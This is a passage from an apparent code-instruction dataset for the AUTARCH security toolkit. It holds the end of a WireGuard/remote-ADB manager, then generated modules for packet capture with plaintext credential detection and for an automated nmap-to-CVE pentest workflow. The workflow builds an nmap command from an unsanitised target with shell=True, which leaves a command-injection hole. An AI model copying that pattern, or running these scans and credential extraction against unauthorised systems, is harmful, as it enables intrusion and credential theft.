            if hs is not None and hs < 180:
                status = 'ONLINE'
            elif hs is not None:
                status = 'idle'
            else:
                status = 'offline'
            if not c.get('enabled', True):
                status = 'disabled'
            rx = ps.get('transfer_rx_str', '-')
            tx = ps.get('transfer_tx_str', '-')
            print(f"  {c['name']:<20} {c['assigned_ip']:<16} {status:<8} "
                  f"{hs_str:<20} {rx}/{tx}")

    def do_create_client(self):
        try:
            name = input("  Client name: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not name:
            print("  Name required.")
            return
        try:
            dns = input(f"  DNS [{self.mgr._default_dns}]: ").strip()
            allowed = input(f"  Allowed IPs [{self.mgr._default_allowed_ips}]: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        print(f"  Creating client '{name}'...")
        result = self.mgr.create_client(
            name,
            dns=dns or None,
            allowed_ips=allowed or None)
        if result.get('ok'):
            client = result['client']
            print(f"  Created: {client['name']} ({client['assigned_ip']})")
            print(f"  ID: {client['id']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_view_client(self):
        client = self._pick_client()
        if not client:
            return
        print(f"\n  Client: {client['name']}")
        print(f"    ID:          {client['id']}")
        print(f"    IP:          {client['assigned_ip']}")
        print(f"    Public Key:  {client['public_key']}")
        print(f"    PSK:         {'Yes' if client.get('preshared_key') else 'No'}")
        print(f"    DNS:         {client.get('dns', 'default')}")
        print(f"    Allowed IPs: {client.get('allowed_ips', 'default')}")
        print(f"    Enabled:     {client.get('enabled', True)}")
        print(f"    Created:     {client.get('created_at', 'N/A')}")

        # Show live status
        peer_status = self.mgr.get_peer_status()
        ps = peer_status.get(client['public_key'], {})
        if ps:
            print(f"    Handshake:   {ps.get('latest_handshake_str', 'never')}")
            print(f"    Endpoint:    {ps.get('endpoint', 'N/A')}")
            print(f"    RX:          {ps.get('transfer_rx_str', '-')}")
            print(f"    TX:          {ps.get('transfer_tx_str', '-')}")

    def do_delete_client(self):
        client = self._pick_client()
        if not client:
            return
        try:
            confirm = input(f"  Delete '{client['name']}'? (y/N): ").strip().lower()
        except (EOFError, KeyboardInterrupt):
            return
        if confirm != 'y':
            print("  Cancelled.")
            return
        result = self.mgr.delete_client(client['id'])
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_toggle_client(self):
        client = self._pick_client()
        if not client:
            return
        current = client.get('enabled', True)
        new_state = not current
        action = 'Enable' if new_state else 'Disable'
        try:
            confirm = input(f"  {action} '{client['name']}'? (y/N): ").strip().lower()
        except (EOFError, KeyboardInterrupt):
            return
        if confirm != 'y':
            print("  Cancelled.")
            return
        result = self.mgr.toggle_client(client['id'], new_state)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_import_peers(self):
        print("  Importing existing peers from wg0.conf...")
        result = self.mgr.import_existing_peers()
        if result.get('ok'):
            print(f"  Imported {result['imported']} peers.")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    # ── Remote ADB ─────────────────────────────────────────────────

    def do_adb_connect(self):
        clients = self.mgr.get_all_clients()
        if clients:
            print("\n  Available clients:")
            for i, c in enumerate(clients, 1):
                print(f"    {i}) {c['name']} ({c['assigned_ip']})")
        ip = self._pick_client_ip()
        if not ip:
            return
        print(f"  Connecting to {ip}:5555...")
        result = self.mgr.adb_connect(ip)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_adb_disconnect(self):
        ip = self._pick_client_ip("  Client IP to disconnect: ")
        if not ip:
            return
        result = self.mgr.adb_disconnect(ip)
        print(f"  {result.get('message', 'Done')}")

    def do_auto_connect(self):
        print("  Auto-connecting to all active WG peers...")
        result = self.mgr.auto_connect_peers()
        for r in result.get('results', []):
            status = "OK" if r['result'].get('ok') else "FAIL"
            print(f"    [{status}] {r['name']} ({r['ip']}): "
                  f"{r['result'].get('message', r['result'].get('error', ''))}")
        if not result.get('results'):
            print("  No active peers found.")

    def do_list_adb_devices(self):
        devices = self.mgr.get_adb_remote_devices()
        if not devices:
            print("\n  No remote ADB devices connected via WireGuard.")
            return
        print(f"\n  Remote ADB Devices:")
        for d in devices:
            print(f"    {d['serial']} - {d['state']} "
                  f"{'(' + d['model'] + ')' if d.get('model') else ''}")

    # ── USB/IP ─────────────────────────────────────────────────────

    def do_usbip_status(self):
        status = self.mgr.get_usbip_status()
        print(f"\n  USB/IP Status:")
        print(f"    Available:      {status['available']}")
        print(f"    Modules loaded: {status['modules_loaded']}")
        print(f"    Active imports: {status['active_imports']}")
        if status.get('ports'):
            for p in status['ports']:
                print(f"      Port {p['port']}: {p['status']}")

    def do_load_modules(self):
        result = self.mgr.load_usbip_modules()
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_list_remote_usb(self):
        ip = self._pick_client_ip()
        if not ip:
            return
        print(f"  Listing USB devices on {ip}...")
        result = self.mgr.usbip_list_remote(ip)
        if not result.get('ok'):
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        devices = result.get('devices', [])
        if not devices:
            print("  No exportable USB devices found.")
            return
        for d in devices:
            print(f"    [{d['busid']}] {d['description']}")

    def do_attach_usb(self):
        ip = self._pick_client_ip("  Remote host IP: ")
        if not ip:
            return
        # List devices first
        result = self.mgr.usbip_list_remote(ip)
        devices = result.get('devices', [])
        if not devices:
            print("  No exportable devices found.")
            return
        print("\n  Available devices:")
        for i, d in enumerate(devices, 1):
            print(f"    {i}) [{d['busid']}] {d['description']}")
        try:
            choice = input("  Attach #: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if choice.isdigit():
            idx = int(choice) - 1
            if 0 <= idx < len(devices):
                busid = devices[idx]['busid']
            else:
                print("  Invalid selection.")
                return
        else:
            busid = choice

        print(f"  Attaching {busid} from {ip}...")
        result = self.mgr.usbip_attach(ip, busid)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_detach_usb(self):
        # Show current ports
        ports = self.mgr.usbip_port_status()
        if not ports.get('ports'):
            print("  No attached USB/IP devices.")
            return
        print("\n  Attached ports:")
        for p in ports['ports']:
            print(f"    Port {p['port']}: {p['status']}")
        try:
            port = input("  Detach port #: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not port:
            return
        result = self.mgr.usbip_detach(port)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_list_ports(self):
        result = self.mgr.usbip_port_status()
        if not result.get('ok'):
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        ports = result.get('ports', [])
        if not ports:
            print("  No attached USB/IP ports.")
            return
        for p in ports:
            detail = f" - {p['detail']}" if p.get('detail') else ''
            print(f"    Port {p['port']}: {p['status']}{detail}")

    # ── Config ─────────────────────────────────────────────────────

    def do_gen_config(self):
        client = self._pick_client()
        if not client:
            return
        config = self.mgr.generate_client_config(client)
        print(f"\n  Config for {client['name']}:\n")
        print(f"  {'─'*40}")
        for line in config.split('\n'):
            print(f"  {line}")
        print(f"  {'─'*40}")

    def do_show_qr(self):
        client = self._pick_client()
        if not client:
            return
        config = self.mgr.generate_client_config(client)
        try:
            import qrcode
            qr = qrcode.QRCode(box_size=1, border=1)
            qr.add_data(config)
            qr.make(fit=True)
            qr.print_ascii(invert=True)
        except ImportError:
            print("  qrcode module not installed. Install: pip install qrcode")

    def do_refresh_upnp(self):
        print("  Refreshing UPnP mapping for WireGuard port...")
        result = self.mgr.refresh_upnp_mapping()
        if result.get('ok'):
            print(f"  UPnP mapping refreshed.")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    # ── Main Loop ──────────────────────────────────────────────────

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break

            actions = {
                '1': self.do_server_status,
                '2': self.do_start,
                '3': self.do_stop,
                '4': self.do_restart,
                '10': self.do_list_clients,
                '11': self.do_create_client,
                '12': self.do_view_client,
                '13': self.do_delete_client,
                '14': self.do_toggle_client,
                '15': self.do_import_peers,
                '20': self.do_adb_connect,
                '21': self.do_adb_disconnect,
                '22': self.do_auto_connect,
                '23': self.do_list_adb_devices,
                '30': self.do_usbip_status,
                '31': self.do_load_modules,
                '32': self.do_list_remote_usb,
                '33': self.do_attach_usb,
                '34': self.do_detach_usb,
                '35': self.do_list_ports,
                '40': self.do_gen_config,
                '41': self.do_show_qr,
                '42': self.do_refresh_upnp,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    wg = WireGuardVPN()
    wg.run_interactive()


Instruction: Create an AUTARCH module in the 'analyze' category that packet capture & analysis (scapy). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: wireshark
Category: analyze
Description: Packet capture & analysis (scapy)

Output:
"""
AUTARCH Wireshark Module
Packet capture and analysis (scapy + optional tshark)

Live capture, PCAP analysis, protocol/conversation/DNS/HTTP analysis,
credential detection.
"""

import os
import sys
from pathlib import Path

# Module metadata
DESCRIPTION = "Packet capture & analysis (scapy)"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "analyze"

sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
from core.wireshark import get_wireshark_manager

class PacketAnalyzer:
    """Packet capture and analysis tools."""

    def __init__(self):
        self.mgr = get_wireshark_manager()

    def print_status(self, message: str, status: str = "info"):
        colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
        symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
        print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")

    def show_menu(self):
        while True:
            clear_screen()
            display_banner()
            print(f"\n{Colors.BOLD}Wireshark / Packet Analysis{Colors.RESET}")

            # Status
            status = self.mgr.get_status()
            engine = []
            if status['scapy']:
                engine.append(f'{Colors.GREEN}scapy{Colors.RESET}')
            else:
                engine.append(f'{Colors.RED}scapy (missing){Colors.RESET}')
            if status['tshark']:
                engine.append(f'{Colors.GREEN}tshark{Colors.RESET}')
            else:
                engine.append(f'{Colors.YELLOW}tshark (not found){Colors.RESET}')
            print(f"  Engine: {' + '.join(engine)}")
            if status['can_capture']:
                print(f"  Live capture: {Colors.GREEN}available{Colors.RESET}")
            else:
                print(f"  Live capture: {Colors.YELLOW}needs root{Colors.RESET}")

            print(f"\n  {Colors.CYAN}[1]{Colors.RESET} List Interfaces")
            print(f"  {Colors.CYAN}[2]{Colors.RESET} Start Live Capture")
            print(f"  {Colors.CYAN}[3]{Colors.RESET} Open PCAP File")
            print(f"  {Colors.CYAN}[4]{Colors.RESET} Protocol Analysis")
            print(f"  {Colors.CYAN}[5]{Colors.RESET} Conversation Analysis")
            print(f"  {Colors.CYAN}[6]{Colors.RESET} DNS Query Analysis")
            print(f"  {Colors.CYAN}[7]{Colors.RESET} HTTP Traffic Analysis")
            print(f"  {Colors.CYAN}[8]{Colors.RESET} Credential Detection")
            print(f"  {Colors.CYAN}[9]{Colors.RESET} Export Results")
            print(f"  {Colors.CYAN}[0]{Colors.RESET} Back")

            choice = input(f"\n{Colors.WHITE}Select option: {Colors.RESET}").strip()

            if choice == '0':
                break
            elif choice == '1':
                self.list_interfaces()
            elif choice == '2':
                self.start_capture()
            elif choice == '3':
                self.open_pcap()
            elif choice == '4':
                self.protocol_analysis()
            elif choice == '5':
                self.conversation_analysis()
            elif choice == '6':
                self.dns_analysis()
            elif choice == '7':
                self.http_analysis()
            elif choice == '8':
                self.credential_detection()
            elif choice == '9':
                self.export_results()

    def list_interfaces(self):
        """List network interfaces."""
        print(f"\n{Colors.BOLD}Network Interfaces{Colors.RESET}")
        interfaces = self.mgr.list_interfaces()
        if not interfaces:
            self.print_status("No interfaces found", "error")
        else:
            for i, iface in enumerate(interfaces, 1):
                desc = f" ({iface['description']})" if iface.get('description') else ''
                print(f"  {Colors.CYAN}{i}.{Colors.RESET} {iface['name']}{desc}")
        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def start_capture(self):
        """Start a live packet capture."""
        print(f"\n{Colors.BOLD}Live Capture{Colors.RESET}")

        if not self.mgr.can_capture:
            self.print_status("Root privileges required for live capture", "error")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        # Show interfaces
        interfaces = self.mgr.list_interfaces()
        for i, iface in enumerate(interfaces, 1):
            print(f"  {i}. {iface['name']}")

        iface_input = input(f"\n{Colors.WHITE}Interface (name or number, Enter for default): {Colors.RESET}").strip()
        interface = None
        if iface_input:
            try:
                idx = int(iface_input) - 1
                if 0 <= idx < len(interfaces):
                    interface = interfaces[idx]['name']
            except ValueError:
                interface = iface_input

        bpf = input(f"{Colors.WHITE}BPF filter (e.g., 'tcp port 80', Enter for all): {Colors.RESET}").strip() or None
        duration_str = input(f"{Colors.WHITE}Duration in seconds (default 30): {Colors.RESET}").strip()
        duration = int(duration_str) if duration_str.isdigit() else 30

        self.print_status(f"Starting capture on {interface or 'default'} for {duration}s...", "info")

        result = self.mgr.start_capture(interface=interface, bpf_filter=bpf, duration=duration)
        if 'error' in result:
            self.print_status(result['error'], "error")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        self.print_status(f"Capturing... Output: {result.get('file', '')}", "info")

        # Wait for capture to complete
        import time
        try:
            while self.mgr._capture_running:
                stats = self.mgr.get_capture_stats()
                print(f"\r  Packets: {stats.get('packet_count', 0)}", end='', flush=True)
                time.sleep(1)
        except KeyboardInterrupt:
            self.mgr.stop_capture()

        stats = self.mgr.get_capture_stats()
        print()
        self.print_status(f"Capture complete: {stats.get('packet_count', 0)} packets", "success")
        if stats.get('output_file'):
            self.print_status(f"Saved to: {stats['output_file']}", "info")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def open_pcap(self):
        """Open and load a PCAP file."""
        print(f"\n{Colors.BOLD}Open PCAP File{Colors.RESET}")
        filepath = input(f"{Colors.WHITE}PCAP file path: {Colors.RESET}").strip()
        if not filepath:
            return

        self.print_status(f"Loading {filepath}...", "info")
        result = self.mgr.read_pcap(filepath)

        if 'error' in result:
            self.print_status(result['error'], "error")
        else:
            self.print_status(f"Loaded {result['total_packets']} packets from {result['file']}", "success")
            # Show first few packets
            for pkt in result['packets'][:20]:
                print(f"  {pkt.get('src','?'):>15} -> {pkt.get('dst','?'):<15} {pkt.get('protocol',''):>8} {pkt.get('info','')}")
            if result['total_packets'] > 20:
                print(f"  ... and {result['total_packets'] - 20} more packets")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def protocol_analysis(self):
        """Show protocol distribution."""
        print(f"\n{Colors.BOLD}Protocol Analysis{Colors.RESET}")
        result = self.mgr.get_protocol_hierarchy()

        if result['total'] == 0:
            self.print_status("No packets loaded. Open a PCAP or run a capture first.", "warning")
        else:
            print(f"  Total packets: {result['total']}\n")
            for proto, data in result['protocols'].items():
                bar_len = int(data['percent'] / 2)
                bar = '█' * bar_len
                print(f"  {proto:<12} {data['count']:>6}  {data['percent']:>5.1f}%  {Colors.CYAN}{bar}{Colors.RESET}")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def conversation_analysis(self):
        """Show IP conversations."""
        print(f"\n{Colors.BOLD}Conversation Analysis{Colors.RESET}")
        convos = self.mgr.extract_conversations()

        if not convos:
            self.print_status("No packets loaded.", "warning")
        else:
            print(f"  {'Source':<20} {'Destination':<20} {'Packets':>8} {'Bytes':>10} {'Protocols'}")
            print(f"  {'─'*20} {'─'*20} {'─'*8} {'─'*10} {'─'*20}")
            for c in convos[:30]:
                protos = ', '.join(c['protocols'][:3])
                print(f"  {c['src']:<20} {c['dst']:<20} {c['packets']:>8} {c['bytes']:>10} {protos}")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def dns_analysis(self):
        """Show DNS queries."""
        print(f"\n{Colors.BOLD}DNS Query Analysis{Colors.RESET}")
        queries = self.mgr.extract_dns_queries()

        if not queries:
            self.print_status("No DNS queries found.", "warning")
        else:
            print(f"  {'Query':<40} {'Type':<6} {'Count':>6} {'Response'}")
            print(f"  {'─'*40} {'─'*6} {'─'*6} {'─'*30}")
            for q in queries[:40]:
                resp = q.get('response', '')[:30]
                print(f"  {q['query']:<40} {q['type']:<6} {q['count']:>6} {resp}")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def http_analysis(self):
        """Show HTTP requests."""
        print(f"\n{Colors.BOLD}HTTP Traffic Analysis{Colors.RESET}")
        requests = self.mgr.extract_http_requests()

        if not requests:
            self.print_status("No HTTP requests found.", "warning")
        else:
            for r in requests[:30]:
                method = r.get('method', '?')
                host = r.get('host', '')
                path = r.get('path', '')[:60]
                src = r.get('src', '')
                color = Colors.GREEN if method == 'GET' else Colors.YELLOW
                print(f"  {color}{method:<7}{Colors.RESET} {host}{path}  from {src}")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def credential_detection(self):
        """Detect plaintext credentials."""
        print(f"\n{Colors.BOLD}Credential Detection{Colors.RESET}")
        creds = self.mgr.extract_credentials()

        if not creds:
            self.print_status("No plaintext credentials detected.", "info")
        else:
            self.print_status(f"Found {len(creds)} credential artifacts!", "warning")
            for c in creds:
                print(f"  {Colors.RED}[{c['protocol']}]{Colors.RESET} {c['type']}: {c['value']}  ({c['src']} -> {c['dst']})")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def export_results(self):
        """Export packets."""
        print(f"\n{Colors.BOLD}Export Results{Colors.RESET}")
        print(f"  {Colors.CYAN}[1]{Colors.RESET} Export as JSON")
        print(f"  {Colors.CYAN}[2]{Colors.RESET} Export as CSV")

        choice = input(f"\n{Colors.WHITE}Select format: {Colors.RESET}").strip()
        fmt = 'csv' if choice == '2' else 'json'

        result = self.mgr.export_packets(fmt=fmt)
        if 'error' in result:
            self.print_status(result['error'], "error")
        else:
            self.print_status(f"Exported {result['count']} packets to {result['filepath']}", "success")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

def run():
    """Module entry point."""
    analyzer = PacketAnalyzer()
    analyzer.show_menu()


Instruction: Create an AUTARCH module in the 'offense' category that automated pentest workflow. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: workflow
Category: offense
Description: Automated pentest workflow

Output:
"""
AUTARCH Workflow Module
Automated pentest pipeline orchestration

Run multi-step security assessments with automated data flow between tools.
"""

import os
import sys
import json
import subprocess
import re
import time
from pathlib import Path
from datetime import datetime

# Module metadata
DESCRIPTION = "Automated pentest workflow"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner

class WorkflowRunner:
    """Orchestrate multi-step pentest workflows."""

    def __init__(self):
        self.results_dir = Path("results")
        self.results_dir.mkdir(exist_ok=True)

    def print_status(self, msg, level="info"):
        icons = {"info": f"{Colors.CYAN}[*]", "success": f"{Colors.GREEN}[+]",
                 "warning": f"{Colors.YELLOW}[!]", "error": f"{Colors.RED}[-]"}
        icon = icons.get(level, icons["info"])
        print(f"  {icon} {msg}{Colors.RESET}")

    # =========================================================================
    # MENU
    # =========================================================================

    def show_menu(self):
        clear_screen()
        display_banner()

        print(f"{Colors.RED}{Colors.BOLD}  Automated Workflow{Colors.RESET}")
        print(f"{Colors.DIM}  Multi-step pentest pipeline orchestration{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()
        print(f"  {Colors.RED}[1]{Colors.RESET} New Workflow     {Colors.DIM}- Full automated pipeline{Colors.RESET}")
        print(f"  {Colors.RED}[2]{Colors.RESET} Quick Scan       {Colors.DIM}- Nmap → CVE → Report (no LLM){Colors.RESET}")
        print(f"  {Colors.RED}[3]{Colors.RESET} Resume Workflow  {Colors.DIM}- Load saved state{Colors.RESET}")
        print()
        print(f"  {Colors.DIM}[0]{Colors.RESET} Back")
        print()

    # =========================================================================
    # NMAP SCAN (shared helper)
    # =========================================================================

    def _nmap_service_scan(self, target):
        """Run nmap service detection scan on target."""
        self.print_status(f"Running nmap -sV -T4 on {target}...", "info")
        try:
            result = subprocess.run(
                f"nmap -sV --top-ports 20 -T4 {target}",
                shell=True, capture_output=True, text=True, timeout=300
            )
            if result.returncode != 0:
                self.print_status("nmap scan failed", "error")
                return []

            services = []
            port_re = re.compile(r'(\d+)/(tcp|udp)\s+open\s+(\S+)\s*(.*)')
            for line in result.stdout.split('\n'):
                m = port_re.match(line.strip())
                if m:
                    parts = m.group(4).strip().split()
                    services.append({
                        'port': int(m.group(1)),
                        'protocol': m.group(2),
                        'service': parts[0] if parts else m.group(3),
                        'version': ' '.join(parts[1:]) if len(parts) > 1 else ''
                    })

            self.print_status(f"Found {len(services)} open services", "success")
            return services

        except subprocess.TimeoutExpired:
            self.print_status("nmap timed out after 5 minutes", "error")
            return []
        except Exception as e:
            self.print_status(f"Scan error: {e}", "error")
            return []

    # =========================================================================
    # CVE CORRELATION (shared helper)
    # =========================================================================

    def _correlate_cves(self, services):
        """Correlate services with CVEs from the database."""
        try:
            from core.cve import get_cve_db
            cve_db = get_cve_db()
        except Exception as e:
            self.print_status(f"CVE database unavailable: {e}", "warning")
            return []

        SERVICE_TO_CPE = {
            'apache': ('apache', 'http_server'), 'nginx': ('f5', 'nginx'),
            'openssh': ('openbsd', 'openssh'), 'ssh': ('openbsd', 'openssh'),
            'mysql': ('oracle', 'mysql'), 'postgresql': ('postgresql', 'postgresql'),
            'samba': ('samba', 'samba'), 'smb': ('samba', 'samba'),
            'vsftpd': ('vsftpd_project', 'vsftpd'), 'proftpd': ('proftpd', 'proftpd'),
            'postfix': ('postfix', 'postfix'), 'dovecot': ('dovecot', 'dovecot'),
            'php': ('php', 'php'), 'tomcat': ('apache', 'tomcat'),
            'isc': ('isc', 'bind'), 'bind': ('isc', 'bind'),
        }

        correlations = []
        for svc in services:
            self.print_status(f"Checking CVEs for {svc['service']}:{svc.get('version', '?')} on port {svc['port']}...", "info")

            cves = []
            svc_lower = svc['service'].lower()
            version = svc.get('version', '').split()[0] if svc.get('version') else ''

            if svc_lower in SERVICE_TO_CPE and version:
                vendor, product = SERVICE_TO_CPE[svc_lower]
                cpe = f"cpe:2.3:a:{vendor}:{product}:{version}:*:*:*:*:*:*:*"
                try:
                    cves = cve_db.search_cves(cpe_pattern=cpe)
                except Exception:
                    pass

            if not cves and version:
                try:
                    cves = cve_db.search_cves(keyword=f"{svc['service']} {version}")
                except Exception:
                    pass

            if cves:
                self.print_status(f"  Found {len(cves)} CVEs", "success")
            else:
                self.print_status(f"  No CVEs found", "info")

            correlations.append({
                'service': svc,
                'cves': cves[:20]  # cap per service
            })

        return correlations

    # =========================================================================
    # FULL WORKFLOW
    # =========================================================================

    def run_workflow(self, target):
        """Run full automated pentest workflow."""
        clear_screen()
        display_banner()
        print(f"{Colors.RED}{Colors.BOLD}  Full Workflow - {target}{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()

        state = {
            'target': target,
            'started': datetime.now().isoformat(),
            'services': [],
            'correlations': [],
            'exploits': [],
            'report': None,
            'current_step': 1
        }
        state_file = self.results_dir / f"workflow_{target.replace('.', '-').replace('/', '_')}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"

        # Step 1: Nmap scan
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 1/4: Service Detection{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")
        services = self._nmap_service_scan(target)
        state['services'] = services
        state['current_step'] = 2
        self._save_state(state, state_file)

        if not services:
            self.print_status("No services found. Workflow cannot continue.", "warning")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        cont = input(f"\n{Colors.WHITE}  Continue to CVE correlation? [Y/n]: {Colors.RESET}").strip().lower()
        if cont == 'n':
            self.print_status(f"State saved to {state_file}", "info")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        # Step 2: CVE correlation
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 2/4: CVE Correlation{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")
        correlations = self._correlate_cves(services)
        state['correlations'] = correlations
        state['current_step'] = 3
        self._save_state(state, state_file)

        total_cves = sum(len(c.get('cves', [])) for c in correlations)
        self.print_status(f"Total CVEs found: {total_cves}", "success" if total_cves > 0 else "info")

        cont = input(f"\n{Colors.WHITE}  Continue to exploit suggestion? [Y/n]: {Colors.RESET}").strip().lower()
        if cont == 'n':
            # Skip to report
            self._generate_workflow_report(state)
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        # Step 3: Exploit suggestion (LLM)
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 3/4: Exploit Suggestion{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")
        exploits = self._suggest_exploits(services, correlations)
        state['exploits'] = exploits
        state['current_step'] = 4
        self._save_state(state, state_file)

        cont = input(f"\n{Colors.WHITE}  Generate report? [Y/n]: {Colors.RESET}").strip().lower()
        if cont == 'n':
            self.print_status(f"State saved to {state_file}", "info")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        # Step 4: Report
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 4/4: Report Generation{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")
        self._generate_workflow_report(state)
        state['current_step'] = 5
        self._save_state(state, state_file)

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    # =========================================================================
    # QUICK SCAN
    # =========================================================================

    def quick_scan(self, target):
        """Run quick scan: Nmap → CVE → Report (no LLM)."""
        clear_screen()
        display_banner()
        print(f"{Colors.RED}{Colors.BOLD}  Quick Scan - {target}{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()

        start_time = time.time()

        # Step 1: Nmap
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 1/3: Service Detection{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")
        services = self._nmap_service_scan(target)
        if not services:
            self.print_status("No services found.", "warning")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        # Step 2: CVE correlation
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 2/3: CVE Correlation{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")
        correlations = self._correlate_cves(services)

        total_cves = sum(len(c.get('cves', [])) for c in correlations)
        self.print_status(f"Total CVEs found: {total_cves}", "success" if total_cves > 0 else "info")

        # Step 3: Report
        print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 3/3: Report Generation{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}")

        scan_time = time.time() - start_time
        state = {
            'target': target,
            'services': services,
            'correlations': correlations,
            'exploits': [],
            'scan_time': scan_time
        }
        self._generate_workflow_report(state)

        self.print_status(f"Quick scan completed in {scan_time:.1f}s", "success")
        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    # =========================================================================
    # RESUME WORKFLOW
    # =========================================================================

    def resume_workflow(self):
        """Resume a saved workflow from JSON state."""
        clear_screen()
        display_banner()
        print(f"{Colors.RED}{Colors.BOLD}  Resume Workflow{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()

        state_files = sorted(self.results_dir.glob("workflow_*.json"))
        if not state_files:
            self.print_status("No saved workflows found.", "warning")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        for i, f in enumerate(state_files, 1):
            try:
                with open(f, 'r') as fh:
                    data = json.load(fh)
                target = data.get('target', '?')
                step = data.get('current_step', '?')
                started = data.get('started', '?')
                print(f"  {Colors.RED}[{i}]{Colors.RESET} {f.name}")
                print(f"      {Colors.DIM}Target: {target} | Step: {step}/4 | Started: {started}{Colors.RESET}")
            except Exception:
                print(f"  {Colors.RED}[{i}]{Colors.RESET} {f.name} {Colors.DIM}(corrupt){Colors.RESET}")
        print(f"\n  {Colors.DIM}[0]{Colors.RESET} Back")

        sel = input(f"\n{Colors.WHITE}  Select: {Colors.RESET}").strip()
        if sel == "0":
            return

        try:
            idx = int(sel) - 1
            with open(state_files[idx], 'r') as f:
                state = json.load(f)
        except (ValueError, IndexError, json.JSONDecodeError) as e:
            self.print_status(f"Error: {e}", "error")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        target = state.get('target', '')
        current_step = state.get('current_step', 1)
        state_file = state_files[idx]

        self.print_status(f"Resuming workflow for {target} at step {current_step}/4", "info")

        if current_step <= 1:
            services = self._nmap_service_scan(target)
            state['services'] = services
            state['current_step'] = 2
            self._save_state(state, state_file)
        else:
            services = state.get('services', [])

        if not services:
            self.print_status("No services available.", "warning")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        if current_step <= 2:
            print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 2/4: CVE Correlation{Colors.RESET}")
            correlations = self._correlate_cves(services)
            state['correlations'] = correlations
            state['current_step'] = 3
            self._save_state(state, state_file)
        else:
